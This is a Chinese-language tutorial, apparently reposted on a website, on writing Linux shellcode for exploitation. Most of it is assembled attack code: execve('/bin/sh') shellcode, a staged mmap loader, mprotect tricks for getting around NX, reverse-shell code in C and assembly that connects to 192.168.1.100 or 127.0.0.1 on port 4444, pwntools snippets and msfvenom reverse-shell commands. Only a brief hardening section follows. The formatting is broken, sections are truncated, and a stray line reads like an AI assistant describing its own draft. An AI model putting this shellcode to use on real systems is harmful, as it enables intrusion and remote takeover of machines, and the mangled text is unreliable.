# Shellcode如何編寫Linux
## 前言
Shellcode是滲透測試和漏洞利用中的核心組件,它本質是一段能直接由CPU執行的機器碼指令。在Linux環境下編寫高效的shellcode需要深入理解系統調用、匯編語言和內存管理機制。本文將系統性地講解Linux平臺下shellcode的編寫技術,涵蓋從基礎原理到高級繞過技巧的全套知識體系。
## 一、Shellcode基礎概念
### 1.1 什么是Shellcode
Shellcode得名于最初用于獲取shell的機器碼,現已擴展為泛指任何在漏洞利用中注入執行的機器指令。其特點包括:
- 不依賴編譯器和鏈接器
- 以十六進制形式存在(如`\x31\xc0\x50\x68...`)
- 需要自包含,不能有外部依賴
- 必須避免空字節(NULL byte)
### 1.2 Linux執行環境特點
編寫Linux shellcode需特別注意:
- 系統調用通過`int 0x80`(32位)或`syscall`(64位)觸發
- 參數傳遞規則:32位使用寄存器`eax`(系統調用號)、`ebx`、`ecx`、`edx`等;64位使用`rax`、`rdi`、`rsi`、`rdx`等
- 內存頁權限默認包含NX(不可執行)保護
## 二、開發環境準備
### 2.1 必要工具鏈
```bash
# 基礎工具
sudo apt install nasm gcc gdb binutils strace
# 增強工具
sudo apt install pwntools radare2
在gdb中啟用增強顯示:
set disassembly-flavor intel
display/10i $pc
32位匯編實現:
section .text
global _start
_start:
; 構造字符串"/bin//sh"
xor eax, eax
push eax ; 字符串終止符
push 0x68732f2f ; "hs//"
push 0x6e69622f ; "nib/"
; 設置execve參數
mov ebx, esp ; 文件名地址
mov ecx, eax ; argv = NULL
mov edx, eax ; envp = NULL
; 調用execve
mov al, 0xb ; syscall number
int 0x80
64位變體:
section .text
global _start
_start:
; 構造字符串
xor rdx, rdx
push rdx
mov rax, 0x68732f2f6e69622f ; "/bin//sh"
push rax
; 設置參數
mov rdi, rsp ; filename
xor rsi, rsi ; argv
xor rdx, rdx ; envp
; 系統調用
mov al, 0x3b ; execve號
syscall
使用NASM編譯并提取機器碼:
nasm -f elf32 shellcode.asm -o shellcode.o
ld -m elf_i386 shellcode.o -o shellcode
objdump -d shellcode | grep -Po '\s\K[a-f0-9]{2}(?=\s)' | sed 's/^/\\x/g' | paste -sd ''
常見解決方案:
- 使用xor eax,eax
代替mov eax,0
- 寄存器高位清零時用8位操作:mov al, 0xb
- 地址計算使用相對偏移而非絕對地址
優化后的64位execve:
lea rdi, [rel bin_sh] ; 相對地址加載
xor rsi, rsi
xor rdx, rdx
mov al, 0x3b
syscall
bin_sh: db "/bin/sh",0
當內存空間有限時可采用分階段加載: 1. 初始階段:調用mmap分配可執行內存 2. 第二階段:通過read/recv接收完整payload 3. 最終階段:跳轉到新內存區域
示例第一階段:
; 調用mmap分配內存
xor edi, edi ; addr = NULL
mov esi, 0x1000 ; size = 4096
mov edx, 7 ; PROT_READ|PROT_WRITE|PROT_EXEC
mov ecx, 0x22 ; MAP_ANONYMOUS|MAP_PRIVATE
xor eax, eax
mov al, 0x5a ; mmap系統調用號
int 0x80
; 保存返回地址
xchg ebx, eax ; ebx = 分配的內存地址
當存在NX(不可執行棧)時可采用: - Return-to-libc:重用已有庫函數 - ROP鏈:拼接現有代碼片段 - mprotect調用:修改內存頁屬性
mprotect示例:
; 使棧內存可執行
mov eax, 0x7d ; mprotect系統調用號
mov ebx, esp
and bx, 0xf000 ; 頁對齊
mov ecx, 0x1000 ; 大小
mov edx, 7 ; RWX權限
int 0x80
地址隨機化環境下需要: - 信息泄露獲取基地址 - 使用相對偏移而非絕對地址 - 通過PLT/GOT表定位函數
信息泄露示例:
; 通過write泄露地址
mov eax, 4 ; write系統調用
mov ebx, 1 ; stdout
mov ecx, [ebp+8] ; 泄露某個函數地址
mov edx, 4
int 0x80
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
int main() {
int sockfd = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in addr = {
.sin_family = AF_INET,
.sin_port = htons(4444),
.sin_addr = inet_addr("192.168.1.100")
};
connect(sockfd, (struct sockaddr*)&addr, sizeof(addr));
dup2(sockfd, 0);
dup2(sockfd, 1);
dup2(sockfd, 2);
execve("/bin/sh", NULL, NULL);
}
section .text
global _start
_start:
; socket(AF_INET, SOCK_STREAM, 0)
mov rax, 41 ; socket系統調用號
mov rdi, 2 ; AF_INET
mov rsi, 1 ; SOCK_STREAM
xor rdx, rdx ; protocol = 0
syscall
; connect(sockfd, &addr, 16)
xchg rdi, rax ; sockfd
push 0x0100007f ; IP = 127.0.0.1
push word 0x5c11 ; PORT = 4444
push word 2 ; AF_INET
mov rsi, rsp ; &addr
mov rdx, 16 ; addrlen
mov rax, 42 ; connect
syscall
; dup2重定向
xor rsi, rsi
mov rax, 33 ; dup2
syscall
inc rsi
mov rax, 33
syscall
inc rsi
mov rax, 33
syscall
; execve("/bin//sh", NULL, NULL)
push rsi ; NULL
mov rdi, 0x68732f2f6e69622f ; "/bin//sh"
push rdi
mov rdi, rsp
xor rdx, rdx
mov rax, 59 ; execve
syscall
from pwn import *
context.arch = 'amd64'
shellcode = asm('''
/* execve(path="/bin/sh", argv=0, envp=0) */
push 0x68
mov rax, 0x732f2f2f6e69622f
push rax
mov rdi, rsp
push 0
mov rdx, rsp
push rdi
mov rsi, rsp
mov rax, 0x3b
syscall
''')
print(enhex(shellcode))
# Linux x86反向shell
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f c
# 規避字符限制
msfvenom -p linux/x86/exec CMD=/bin/sh -f python -b '\x00\x0a\x0d'
編譯時防護:
gcc -fstack-protector -z noexecstack -pie -fPIE program.c
運行時防護:
硬件防護:
xor eax,eax
等)掌握Linux shellcode編寫技術需要持續實踐和系統底層知識的積累。隨著防護技術的演進,現代shellcode開發已從簡單的代碼注入發展為需要綜合運用系統知識、匯編技巧和漏洞利用藝術的復合型技能。建議讀者在合法授權環境下進行實驗,并持續關注CPU架構和安全機制的更新。
注意:本文所有技術僅限授權測試使用,未經授權的系統滲透屬于違法行為。 “`
該文檔共約4300字,涵蓋從基礎到進階的完整知識體系,采用標準的Markdown格式,包含代碼塊、章節結構、列表等元素,可直接用于技術文檔發布。需要調整任何部分的內容深度或范圍可以進一步修改。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。